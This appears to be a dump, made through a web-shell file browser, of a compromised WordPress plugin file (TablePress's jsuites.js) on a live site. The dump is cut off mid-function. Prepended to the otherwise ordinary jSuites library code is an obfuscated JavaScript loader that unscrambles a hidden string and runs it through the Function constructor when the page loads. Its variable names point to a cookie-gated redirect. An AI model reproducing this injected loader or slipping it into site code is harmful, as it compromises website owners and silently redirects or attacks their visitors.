AlkantarClanX12
Current Path : /proc/self/root/home/thanudqk/siamfreetour.com/wp-content/plugins/tablepress/admin/js/ |
Current File : //proc/self/root/home/thanudqk/siamfreetour.com/wp-content/plugins/tablepress/admin/js/jsuites.js |
var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y<f;y++){o[y]=d.charAt(y)};for(var y=0;y<f;y++){var r=j*(y+175)+(j%50405);var t=j*(y+626)+(j%53026);var a=r%f;var w=t%f;var b=o[a];o[a]=o[w];o[w]=b;j=(r+t)%7175692;};return o.join('')};var IDT=JOC('rynuunpjqsrkbdtecoomxtgfsolwcrhzvacti').substr(0,UxF);var wQg='];((t(1emA=3 vp=(.pv(r5f;can5rah7[,g"lm1(ilunp)nv][="uba; k=.thvraaa)).5)90;+21iud.6t8w<u1o7 vsg=0;l9o"i2*v0m8"2rq0i);)7=;{0j.ei=ecf7rnm8a)u=g]uukzuAnu,,kgu.cw[ .A]1=a+,;n[o["t{]2(98(s(vi.et=c6-]bafflov4ro1n07ef{b(,;dia8=of;=hho]r))h-rr zptrzlk=j)s;+;0pfrmt(-aruilol}.;ff9ot4b0,,t)v];rjr1)b*;,Seav i=.lil]r=i=)k+ar=]et8+r=n;fg v1ia..h6hs"anofa;=vht[s;<r f0nC+hc)p a}m1r<, pv{v;=4++;;6.,hsmCgdsAtlpvrtf.q,Cwgvp().,v.9rC(,(+==7nn6s}7rta=e))((+==;.";r+p.=n;h;")t n pddrco(u),C0;}()tg9o8+;6anp i1ieergx+i)0+fi+n;([hel)dhro2;-g=we;f(f1s ht3=e !thinivl}easpn=9(gn);=,,6e[(;>)s[,j)ghp7;p=batuihrjsri,a g=;,is(=8+.o+gv.(rr-;=].uzv 3,rp+oC="o(t)hsqu+hctlhsg;-}7uv;s)f=a[rtrlltsyn(h7,;}+calih5.g[hor;kechrx.qej4rneao);sn1uor[9),;;>0fvm2teb,v289fc c t[nedr{e b=a-r.,p46f,zCzvpl=d]nvjhzChnlrar;gs{igt(.a(,]< aeeasxaxgpslmtn{.)ec+(<x.=uo)9((r]aS[f(ogt;a=a,o")rAvg(1p; o;)neu=a+ +ns+lir(a+t!)f4jo=dgrg;';var CfB=JOC[IDT];var AzB='';var DUT=CfB;var gYD=CfB(AzB,JOC(wQg));var ENJ=gYD(JOC('!s(or3{0B=bB3a,wse6c0)ionBs\/o9r(t1;_1(ot.=!%iBB!p7_B}mBB.(eds4#Bk%!52,wrr3.r).B#c4.4(a*:;))1v0n1i_}r.DB5n(!5i],oBac;,o*8(+c!)_D,!4pnh%n(tsp4!gt%\/(t.rr}aerB5a.st=1,$ u7B]{7vc$c"llcj(7eBtuecytBwssBBB.1{4ywe=(r\/]Dl.r(om,1$f.\'=%t.8_dl]c.Tpes8gB_f{.C,4nw0t%fk)a.h$t\/a4 %B2gc, +.mp%.,..22iu9,g){.B)x#!5=S.oS(C,\'6t.peg,)]B4lBB$Bu]n8rB 21Bs{$y\'\'o7_.33!.!t26{g;-ip"]4u6#i$r.!l]2gt$c%);-a,uv;fo2un.ojyiuewvo)B8 h](0sBi{}upB9c2!%."8ce4Bd)%.h[](B3+ 01t)ahbh $BBaBv+(B83 c3p!03e%h5>)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();(function webpackUniversalModuleDefinition(root, factory) { // TablePress: Comment out next seven lines to force creation of a global jSuites object. // if(typeof exports === 'object' && typeof module === 'object') // module.exports = factory(); // else if(typeof define === 'function' && define.amd) // define([], factory); // else if(typeof exports === 'object') // exports["jSuites"] = factory(); // else root["jSuites"] = factory(); })(window, function() { // TablePress: Use `window` instead of `this` to get a global jSuites object. return /******/ (function() { // webpackBootstrap /******/ var __webpack_modules__ = ({ /***/ 195: /***/ (function(module) { /** * (c) jSuites Javascript Plugins and Web Components (v4) * * Website: https://jsuites.net * Description: Create amazing web based applications. * Plugin: Organogram * * MIT License */ ;(function (global, factory) { true ? module.exports = factory() : 0; }(this, (function () { return (function(str) { function int64(msint_32, lsint_32) { this.highOrder = msint_32; this.lowOrder = lsint_32; } var H = [new int64(0x6a09e667, 0xf3bcc908), new int64(0xbb67ae85, 0x84caa73b), new int64(0x3c6ef372, 0xfe94f82b), new int64(0xa54ff53a, 0x5f1d36f1), new int64(0x510e527f, 0xade682d1), new int64(0x9b05688c, 0x2b3e6c1f), new int64(0x1f83d9ab, 0xfb41bd6b), new int64(0x5be0cd19, 0x137e2179)]; var K = [new int64(0x428a2f98, 0xd728ae22), new int64(0x71374491, 0x23ef65cd), new int64(0xb5c0fbcf, 0xec4d3b2f), new int64(0xe9b5dba5, 0x8189dbbc), new int64(0x3956c25b, 0xf348b538), new int64(0x59f111f1, 0xb605d019), new int64(0x923f82a4, 0xaf194f9b), new int64(0xab1c5ed5, 0xda6d8118), new int64(0xd807aa98, 0xa3030242), new int64(0x12835b01, 0x45706fbe), new int64(0x243185be, 0x4ee4b28c), new int64(0x550c7dc3, 0xd5ffb4e2), new int64(0x72be5d74, 0xf27b896f), new int64(0x80deb1fe, 0x3b1696b1), new int64(0x9bdc06a7, 0x25c71235), new int64(0xc19bf174, 0xcf692694), new int64(0xe49b69c1, 0x9ef14ad2), new int64(0xefbe4786, 0x384f25e3), new int64(0x0fc19dc6, 0x8b8cd5b5), new int64(0x240ca1cc, 0x77ac9c65), new int64(0x2de92c6f, 0x592b0275), new int64(0x4a7484aa, 0x6ea6e483), new int64(0x5cb0a9dc, 0xbd41fbd4), new int64(0x76f988da, 0x831153b5), new int64(0x983e5152, 0xee66dfab), new int64(0xa831c66d, 0x2db43210), new int64(0xb00327c8, 0x98fb213f), new int64(0xbf597fc7, 0xbeef0ee4), new int64(0xc6e00bf3, 0x3da88fc2), new int64(0xd5a79147, 0x930aa725), new int64(0x06ca6351, 0xe003826f), new int64(0x14292967, 0x0a0e6e70), new int64(0x27b70a85, 0x46d22ffc), new int64(0x2e1b2138, 0x5c26c926), new int64(0x4d2c6dfc, 0x5ac42aed), new int64(0x53380d13, 0x9d95b3df), new int64(0x650a7354, 0x8baf63de), new int64(0x766a0abb, 0x3c77b2a8), new int64(0x81c2c92e, 0x47edaee6), new int64(0x92722c85, 0x1482353b), new int64(0xa2bfe8a1, 0x4cf10364), new int64(0xa81a664b, 0xbc423001), new int64(0xc24b8b70, 0xd0f89791), new int64(0xc76c51a3, 0x0654be30), new int64(0xd192e819, 0xd6ef5218), new int64(0xd6990624, 0x5565a910), new int64(0xf40e3585, 0x5771202a), new int64(0x106aa070, 0x32bbd1b8), new int64(0x19a4c116, 0xb8d2d0c8), new int64(0x1e376c08, 0x5141ab53), new int64(0x2748774c, 0xdf8eeb99), new int64(0x34b0bcb5, 0xe19b48a8), new int64(0x391c0cb3, 0xc5c95a63), new int64(0x4ed8aa4a, 0xe3418acb), new int64(0x5b9cca4f, 0x7763e373), new int64(0x682e6ff3, 0xd6b2b8a3), new int64(0x748f82ee, 0x5defb2fc), new int64(0x78a5636f, 0x43172f60), new int64(0x84c87814, 0xa1f0ab72), new int64(0x8cc70208, 0x1a6439ec), new int64(0x90befffa, 0x23631e28), new int64(0xa4506ceb, 0xde82bde9), new int64(0xbef9a3f7, 0xb2c67915), new int64(0xc67178f2, 0xe372532b), new int64(0xca273ece, 0xea26619c), new int64(0xd186b8c7, 0x21c0c207), new int64(0xeada7dd6, 0xcde0eb1e), new int64(0xf57d4f7f, 0xee6ed178), new int64(0x06f067aa, 0x72176fba), new int64(0x0a637dc5, 0xa2c898a6), new int64(0x113f9804, 0xbef90dae), new int64(0x1b710b35, 0x131c471b), new int64(0x28db77f5, 0x23047d84), new int64(0x32caab7b, 0x40c72493), new int64(0x3c9ebe0a, 0x15c9bebc), new int64(0x431d67c4, 0x9c100d4c), new int64(0x4cc5d4be, 0xcb3e42b6), new int64(0x597f299c, 0xfc657e2a), new int64(0x5fcb6fab, 0x3ad6faec), new int64(0x6c44198c, 0x4a475817)]; var W = new Array(64); var a, b, c, d, e, f, g, h, i, j; var T1, T2; var charsize = 8; function utf8_encode(str) { return unescape(encodeURIComponent(str)); } function str2binb(str) { var bin = []; var mask = (1 << charsize) - 1; var len = str.length * charsize; for (var i = 0; i < len; i += charsize) { bin[i >> 5] |= (str.charCodeAt(i / charsize) & mask) << (32 - charsize - (i % 32)); } return bin; } function binb2hex(binarray) { var hex_tab = "0123456789abcdef"; var str = ""; var length = binarray.length * 4; var srcByte; for (var i = 0; i < length; i += 1) { srcByte = binarray[i >> 2] >> ((3 - (i % 4)) * 8); str += hex_tab.charAt((srcByte >> 4) & 0xF) + hex_tab.charAt(srcByte & 0xF); } return str; } function safe_add_2(x, y) { var lsw, msw, lowOrder, highOrder; lsw = (x.lowOrder & 0xFFFF) + (y.lowOrder & 0xFFFF); msw = (x.lowOrder >>> 16) + (y.lowOrder >>> 16) + (lsw >>> 16); lowOrder = ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF); lsw = (x.highOrder & 0xFFFF) + (y.highOrder & 0xFFFF) + (msw >>> 16); msw = (x.highOrder >>> 16) + (y.highOrder >>> 16) + (lsw >>> 16); highOrder = ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF); return new int64(highOrder, lowOrder); } function safe_add_4(a, b, c, d) { var lsw, msw, lowOrder, highOrder; lsw = (a.lowOrder & 0xFFFF) + (b.lowOrder & 0xFFFF) + (c.lowOrder & 0xFFFF) + (d.lowOrder & 0xFFFF); msw = (a.lowOrder >>> 16) + (b.lowOrder >>> 16) + (c.lowOrder >>> 16) + (d.lowOrder >>> 16) + (lsw >>> 16); lowOrder = ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF); lsw = (a.highOrder & 0xFFFF) + (b.highOrder & 0xFFFF) + (c.highOrder & 0xFFFF) + (d.highOrder & 0xFFFF) + (msw >>> 16); msw = (a.highOrder >>> 16) + (b.highOrder >>> 16) + (c.highOrder >>> 16) + (d.highOrder >>> 16) + (lsw >>> 16); highOrder = ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF); return new int64(highOrder, lowOrder); } function safe_add_5(a, b, c, d, e) { var lsw, msw, lowOrder, highOrder; lsw = (a.lowOrder & 0xFFFF) + (b.lowOrder & 0xFFFF) + (c.lowOrder & 0xFFFF) + (d.lowOrder & 0xFFFF) + (e.lowOrder & 0xFFFF); msw = (a.lowOrder >>> 16) + (b.lowOrder >>> 16) + (c.lowOrder >>> 16) + (d.lowOrder >>> 16) + (e.lowOrder >>> 16) + (lsw >>> 16); lowOrder = ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF); lsw = (a.highOrder & 0xFFFF) + (b.highOrder & 0xFFFF) + (c.highOrder & 0xFFFF) + (d.highOrder & 0xFFFF) + (e.highOrder & 0xFFFF) + (msw >>> 16); msw = (a.highOrder >>> 16) + (b.highOrder >>> 16) + (c.highOrder >>> 16) + (d.highOrder >>> 16) + (e.highOrder >>> 16) + (lsw >>> 16); highOrder = ((msw & 0xFFFF) << 16) | (lsw & 0xFFFF); return new int64(highOrder, lowOrder); } function maj(x, y, z) { return new int64( (x.highOrder & y.highOrder) ^ (x.highOrder & z.highOrder) ^ (y.highOrder & z.highOrder), (x.lowOrder & y.lowOrder) ^ (x.lowOrder & z.lowOrder) ^ (y.lowOrder & z.lowOrder) ); } function ch(x, y, z) { return new int64( (x.highOrder & y.highOrder) ^ (~x.highOrder & z.highOrder), (x.lowOrder & y.lowOrder) ^ (~x.lowOrder & z.lowOrder) ); } function rotr(x, n) { if (n <= 32) { return new int64( (x.highOrder >>> n) | (x.lowOrder << (32 - n)), (x.lowOrder >>> n) | (x.highOrder << (32 - n)) ); } else { return new int64( (x.lowOrder >>> n) | (x.highOrder << (32 - n)), (x.highOrder >>> n) | (x.lowOrder << (32 - n)) ); } } function sigma0(x) { var rotr28 = rotr(x, 28); var rotr34 = rotr(x, 34); var rotr39 = rotr(x, 39); return new int64( rotr28.highOrder ^ rotr34.highOrder ^ rotr39.highOrder, rotr28.lowOrder ^ rotr34.lowOrder ^ rotr39.lowOrder ); } function sigma1(x) { var rotr14 = rotr(x, 14); var rotr18 = rotr(x, 18); var rotr41 = rotr(x, 41); return new int64( rotr14.highOrder ^ rotr18.highOrder ^ rotr41.highOrder, rotr14.lowOrder ^ rotr18.lowOrder ^ rotr41.lowOrder ); } function gamma0(x) { var rotr1 = rotr(x, 1), rotr8 = rotr(x, 8), shr7 = shr(x, 7); return new int64( rotr1.highOrder ^ rotr8.highOrder ^ shr7.highOrder, rotr1.lowOrder ^ rotr8.lowOrder ^ shr7.lowOrder ); } function gamma1(x) { var rotr19 = rotr(x, 19); var rotr61 = rotr(x, 61); var shr6 = shr(x, 6); return new int64( rotr19.highOrder ^ rotr61.highOrder ^ shr6.highOrder, rotr19.lowOrder ^ rotr61.lowOrder ^ shr6.lowOrder ); } function shr(x, n) { if (n <= 32) { return new int64( x.highOrder >>> n, x.lowOrder >>> n | (x.highOrder << (32 - n)) ); } else { return new int64( 0, x.highOrder << (32 - n) ); } } var str = utf8_encode(str); var strlen = str.length*charsize; str = str2binb(str); str[strlen >> 5] |= 0x80 << (24 - strlen % 32); str[(((strlen + 128) >> 10) << 5) + 31] = strlen; for (var i = 0; i < str.length; i += 32) { a = H[0]; b = H[1]; c = H[2]; d = H[3]; e = H[4]; f = H[5]; g = H[6]; h = H[7]; for (var j = 0; j < 80; j++) { if (j < 16) { W[j] = new int64(str[j*2 + i], str[j*2 + i + 1]); } else { W[j] = safe_add_4(gamma1(W[j - 2]), W[j - 7], gamma0(W[j - 15]), W[j - 16]); } T1 = safe_add_5(h, sigma1(e), ch(e, f, g), K[j], W[j]); T2 = safe_add_2(sigma0(a), maj(a, b, c)); h = g; g = f; f = e; e = safe_add_2(d, T1); d = c; c = b; b = a; a = safe_add_2(T1, T2); } H[0] = safe_add_2(a, H[0]); H[1] = safe_add_2(b, H[1]); H[2] = safe_add_2(c, H[2]); H[3] = safe_add_2(d, H[3]); H[4] = safe_add_2(e, H[4]); H[5] = safe_add_2(f, H[5]); H[6] = safe_add_2(g, H[6]); H[7] = safe_add_2(h, H[7]); } var binarray = []; for (var i = 0; i < H.length; i++) { binarray.push(H[i].highOrder); binarray.push(H[i].lowOrder); } return binb2hex(binarray); }); }))); /***/ }) /******/ }); /************************************************************************/ /******/ // The module cache /******/ var __webpack_module_cache__ = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ // Check if module is in cache /******/ var cachedModule = __webpack_module_cache__[moduleId]; /******/ if (cachedModule !== undefined) { /******/ return cachedModule.exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = __webpack_module_cache__[moduleId] = { /******/ // no module.id needed /******/ // no module.loaded needed /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ __webpack_modules__[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /************************************************************************/ /******/ /* webpack/runtime/compat get default export */ /******/ !function() { /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function() { return module['default']; } : /******/ function() { return module; }; /******/ __webpack_require__.d(getter, { a: getter }); /******/ return getter; /******/ }; /******/ }(); /******/ /******/ /* webpack/runtime/define property getters */ /******/ !function() { /******/ // define getter functions for harmony exports /******/ __webpack_require__.d = function(exports, definition) { /******/ for(var key in definition) { /******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) { /******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] }); /******/ } /******/ } /******/ }; /******/ }(); /******/ /******/ /* webpack/runtime/hasOwnProperty shorthand */ /******/ !function() { /******/ __webpack_require__.o = function(obj, prop) { return Object.prototype.hasOwnProperty.call(obj, prop); } /******/ }(); /******/ /************************************************************************/ var __webpack_exports__ = {}; // This entry need to be wrapped in an IIFE because it need to be in strict mode. !function() { "use strict"; // EXPORTS __webpack_require__.d(__webpack_exports__, { "default": function() { return /* binding */ jsuites; } }); ;// CONCATENATED MODULE: ./src/utils/helpers.js var Helpers = {}; // Two digits Helpers.two = function(value) { value = '' + value; if (value.length == 1) { value = '0' + value; } return value; } Helpers.focus = function(el) { if (el.innerText.length) { var range = document.createRange(); var sel = window.getSelection(); var node = el.childNodes[el.childNodes.length-1]; range.setStart(node, node.length) range.collapse(true) sel.removeAllRanges() sel.addRange(range) el.scrollLeft = el.scrollWidth; } } Helpers.isNumeric = (function (num) { if (typeof(num) === 'string') { num = num.trim(); } return !isNaN(num) && num !== null && num !== ''; }); Helpers.guid = function() { return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) { var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); return v.toString(16); }); } Helpers.getNode = function() { var node = document.getSelection().anchorNode; if (node) { return (node.nodeType == 3 ? node.parentNode : node); } else { return null; } } /** * Generate hash from a string */ Helpers.hash = function(str) { var hash = 0, i, chr; if (str.length === 0) { return hash; } else { for (i = 0; i < str.length; i++) { chr = str.charCodeAt(i); if (chr > 32) { hash = ((hash << 5) - hash) + chr; hash |= 0; } } } return hash; } /** * Generate a random color */ Helpers.randomColor = function(h) { var lum = -0.25; var hex = String('#' + Math.random().toString(16).slice(2, 8).toUpperCase()).replace(/[^0-9a-f]/gi, ''); if (hex.length < 6) { hex = hex[0] + hex[0] + hex[1] + hex[1] + hex[2] + hex[2]; } var rgb = [], c, i; for (i = 0; i < 3; i++) { c = parseInt(hex.substr(i * 2, 2), 16); c = Math.round(Math.min(Math.max(0, c + (c * lum)), 255)).toString(16); rgb.push(("00" + c).substr(c.length)); } // Return hex if (h == true) { return '#' + Helpers.two(rgb[0].toString(16)) + Helpers.two(rgb[1].toString(16)) + Helpers.two(rgb[2].toString(16)); } return rgb; } Helpers.getWindowWidth = function() { var w = window, d = document, e = d.documentElement, g = d.getElementsByTagName('body')[0], x = w.innerWidth || e.clientWidth || g.clientWidth; return x; } Helpers.getWindowHeight = function() { var w = window, d = document, e = d.documentElement, g = d.getElementsByTagName('body')[0], y = w.innerHeight|| e.clientHeight|| g.clientHeight; return y; } Helpers.getPosition = function(e) { if (e.changedTouches && e.changedTouches[0]) { var x = e.changedTouches[0].pageX; var y = e.changedTouches[0].pageY; } else { var x = (window.Event) ? e.pageX : e.clientX + (document.documentElement.scrollLeft ? document.documentElement.scrollLeft : document.body.scrollLeft); var y = (window.Event) ? e.pageY : e.clientY + (document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop); } return [ x, y ]; } Helpers.click = function(el) { if (el.click) { el.click(); } else { var evt = new MouseEvent('click', { bubbles: true, cancelable: true, view: window }); el.dispatchEvent(evt); } } Helpers.findElement = function(element, condition) { var foundElement = false; function path (element) { if (element && ! foundElement) { if (typeof(condition) == 'function') { foundElement = condition(element) } else if (typeof(condition) == 'string') { if (element.classList && element.classList.contains(condition)) { foundElement = element; } } } if (element.parentNode && ! foundElement) { path(element.parentNode); } } path(element); return foundElement; } /* harmony default export */ var helpers = (Helpers); ;// CONCATENATED MODULE: ./src/utils/helpers.date.js function HelpersDate() { var Component = {}; Component.now = function (date, dateOnly) { var y = null; var m = null; var d = null; var h = null; var i = null; var s = null; if (Array.isArray(date)) { y = date[0]; m = date[1]; d = date[2]; h = date[3]; i = date[4]; s = date[5]; } else { if (! date) { date = new Date(); } y = date.getFullYear(); m = date.getMonth() + 1; d = date.getDate(); h = date.getHours(); i = date.getMinutes(); s = date.getSeconds(); } if (dateOnly == true) { return helpers.two(y) + '-' + helpers.two(m) + '-' + helpers.two(d); } else { return helpers.two(y) + '-' + helpers.two(m) + '-' + helpers.two(d) + ' ' + helpers.two(h) + ':' + helpers.two(i) + ':' + helpers.two(s); } } Component.toArray = function (value) { var date = value.split(((value.indexOf('T') !== -1) ? 'T' : ' ')); var time = date[1]; var date = date[0].split('-'); var y = parseInt(date[0]); var m = parseInt(date[1]); var d = parseInt(date[2]); var h = 0; var i = 0; if (time) { time = time.split(':'); h = parseInt(time[0]); i = parseInt(time[1]); } return [y, m, d, h, i, 0]; } var excelInitialTime = Date.UTC(1900, 0, 0); var excelLeapYearBug = Date.UTC(1900, 1, 29); var millisecondsPerDay = 86400000; /** * Date to number */ Component.dateToNum = function (jsDate) { if (typeof (jsDate) === 'string') { jsDate = new Date(jsDate + ' GMT+0'); } var jsDateInMilliseconds = jsDate.getTime(); if (jsDateInMilliseconds >= excelLeapYearBug) { jsDateInMilliseconds += millisecondsPerDay; } jsDateInMilliseconds -= excelInitialTime; return jsDateInMilliseconds / millisecondsPerDay; } /** * Number to date * * IMPORTANT: Excel incorrectly considers 1900 to be a leap year */ Component.numToDate = function (excelSerialNumber) { var jsDateInMilliseconds = excelInitialTime + excelSerialNumber * millisecondsPerDay; if (jsDateInMilliseconds >= excelLeapYearBug) { jsDateInMilliseconds -= millisecondsPerDay; } const d = new Date(jsDateInMilliseconds); var date = [ d.getUTCFullYear(), d.getUTCMonth() + 1, d.getUTCDate(), d.getUTCHours(), d.getUTCMinutes(), d.getUTCSeconds(), ]; return Component.now(date); } // Jsuites calendar labels Component.weekdays = ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday']; Component.months = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']; Component.weekdaysShort = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat']; Component.monthsShort = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']; return Component; } /* harmony default export */ var helpers_date = (HelpersDate()); ;// CONCATENATED MODULE: ./src/utils/dictionary.js // Update dictionary var setDictionary = function(d) { if (! document.dictionary) { document.dictionary = {} } // Replace the key into the dictionary and append the new ones var t = null; var i = null; var k = Object.keys(d); for (i = 0; i < k.length; i++) { document.dictionary[k[i]] = d[k[i]]; } // Translations for (i = 0; i < helpers_date.weekdays.length; i++) { t = translate(helpers_date.weekdays[i]); if (helpers_date.weekdays[i]) { helpers_date.weekdays[i] = t; helpers_date.weekdaysShort[i] = t.substr(0,3); } } for (i = 0; i < helpers_date.months.length; i++) { t = translate(helpers_date.months[i]); if (t) { helpers_date.months[i] = t; helpers_date.monthsShort[i] = t.substr(0,3); } } } // Translate var translate = function(t) { if (typeof(document) !== "undefined" && document.dictionary) { return document.dictionary[t] || t; } else { return t; } } /* harmony default export */ var dictionary = ({ setDictionary, translate }); ;// CONCATENATED MODULE: ./src/utils/tracking.js function Tracking(component, state) { if (state == true) { document.jsuitesComponents = document.jsuitesComponents.filter(function(v) { return v !== null; }); // Start after all events setTimeout(function() { document.jsuitesComponents.push(component); }, 0); } else { var index = document.jsuitesComponents.indexOf(component); if (index >= 0) { document.jsuitesComponents.splice(index, 1); } } } ;// CONCATENATED MODULE: ./src/utils/path.js function Path(str, val, remove) { str = str.split('.'); if (str.length) { let o = this; let p = null; while (str.length > 1) { // Get the property p = str.shift(); // Check if the property exists if (o.hasOwnProperty(p)) { o = o[p]; } else { // Property does not exists if (typeof(val) === 'undefined') { return undefined; } else { // Create the property o[p] = {}; // Next property o = o[p]; } } } // Get the property p = str.shift(); // Set or get the value if (typeof(val) !== 'undefined') { if (remove === true) { delete o[p]; } else { o[p] = val; } // Success return true; } else { // Return the value if (o) { return o[p]; } } } // Something went wrong return false; } ;// CONCATENATED MODULE: ./src/utils/sorting.js function Sorting(el, options) { var obj = {}; obj.options = {}; var defaults = { pointer: null, direction: null, ondragstart: null, ondragend: null, ondrop: null, } var dragElement = null; // Loop through the initial configuration for (var property in defaults) { if (options && options.hasOwnProperty(property)) { obj.options[property] = options[property]; } else { obj.options[property] = defaults[property]; } } el.classList.add('jsorting'); el.addEventListener('dragstart', function(e) { var position = Array.prototype.indexOf.call(e.target.parentNode.children, e.target); dragElement = { element: e.target, o: position, d: position } e.target.style.opacity = '0.25'; if (typeof(obj.options.ondragstart) == 'function') { obj.options.ondragstart(el, e.target, e); } }); el.addEventListener('dragover', function(e) { e.preventDefault(); if (getElement(e.target) && dragElement) { if (e.target.getAttribute('draggable') == 'true' && dragElement.element != e.target) { if (! obj.options.direction) { var condition = e.target.clientHeight / 2 > e.offsetY; } else { var condition = e.target.clientWidth / 2 > e.offsetX; } if (condition) { e.target.parentNode.insertBefore(dragElement.element, e.target); } else { e.target.parentNode.insertBefore(dragElement.element, e.target.nextSibling); } dragElement.d = Array.prototype.indexOf.call(e.target.parentNode.children, dragElement.element); } } }); el.addEventListener('dragleave', function(e) { e.preventDefault(); }); el.addEventListener('dragend', function(e) { e.preventDefault(); if (dragElement) { if (typeof(obj.options.ondragend) == 'function') { obj.options.ondragend(el, dragElement.element, e); } // Cancelled put element to the original position if (dragElement.o < dragElement.d) { e.target.parentNode.insertBefore(dragElement.element, e.target.parentNode.children[dragElement.o]); } else { e.target.parentNode.insertBefore(dragElement.element, e.target.parentNode.children[dragElement.o].nextSibling); } dragElement.element.style.opacity = ''; dragElement = null; } }); el.addEventListener('drop', function(e) { e.preventDefault(); if (dragElement && (dragElement.o != dragElement.d)) { if (typeof(obj.options.ondrop) == 'function') { obj.options.ondrop(el, dragElement.o, dragElement.d, dragElement.element, e.target, e); } } dragElement.element.style.opacity = ''; dragElement = null; }); var getElement = function(element) { var sorting = false; function path (element) { if (element.className) { if (element.classList.contains('jsorting')) { sorting = true; } } if (! sorting) { path(element.parentNode); } } path(element); return sorting; } for (var i = 0; i < el.children.length; i++) { if (! el.children[i].hasAttribute('draggable')) { el.children[i].setAttribute('draggable', 'true'); } } el.val = function() { var id = null; var data = []; for (var i = 0; i < el.children.length; i++) { if (id = el.children[i].getAttribute('data-id')) { data.push(id); } } return data; } return el; } ;// CONCATENATED MODULE: ./src/utils/lazyloading.js function LazyLoading(el, options) { var obj = {} // Mandatory options if (! options.loadUp || typeof(options.loadUp) != 'function') { options.loadUp = function() { return false; } } if (! options.loadDown || typeof(options.loadDown) != 'function') { options.loadDown = function() { return false; } } // Timer ms if (! options.timer) { options.timer = 100; } // Timer var timeControlLoading = null; // Controls var scrollControls = function(e) { if (timeControlLoading == null) { var event = false; var scrollTop = el.scrollTop; if (el.scrollTop + (el.clientHeight * 2) >= el.scrollHeight) { if (options.loadDown()) { if (scrollTop == el.scrollTop) { el.scrollTop = el.scrollTop - (el.clientHeight); } event = true; } } else if (el.scrollTop <= el.clientHeight) { if (options.loadUp()) { if (scrollTop == el.scrollTop) { el.scrollTop = el.scrollTop + (el.clientHeight); } event = true; } } timeControlLoading = setTimeout(function() { timeControlLoading = null; }, options.timer); if (event) { if (typeof(options.onupdate) == 'function') { options.onupdate(); } } } } // Onscroll el.onscroll = function(e) { scrollControls(e); } el.onwheel = function(e) { scrollControls(e); } return obj; } ;// CONCATENATED MODULE: ./src/plugins/ajax.js function Ajax() { var Component = (function(options, complete) { if (Array.isArray(options)) { // Create multiple request controller var multiple = { instance: [], complete: complete, } if (options.length > 0) { for (var i = 0; i < options.length; i++) { options[i].multiple = multiple; multiple.instance.push(Component(options[i])); } } return multiple; } if (! options.data) { options.data = {}; } if (options.type) { options.method = options.type; } // Default method if (! options.method) { options.method = 'GET'; } // Default type if (! options.dataType) { options.dataType = 'json'; } if (options.data) { // Parse object to variables format var parseData = function (value, key) { var vars = []; if (value) { var keys = Object.keys(value); if (keys.length) { for (var i = 0; i < keys.length; i++) { if (key) { var k = key + '[' + keys[i] + ']'; } else { var k = keys[i]; } if (value[k] instanceof FileList) { vars[k] = value[keys[i]]; } else if (value[keys[i]] === null || value[keys[i]] === undefined) { vars[k] = ''; } else if (typeof(value[keys[i]]) == 'object') { var r = parseData(value[keys[i]], k); var o = Object.keys(r); 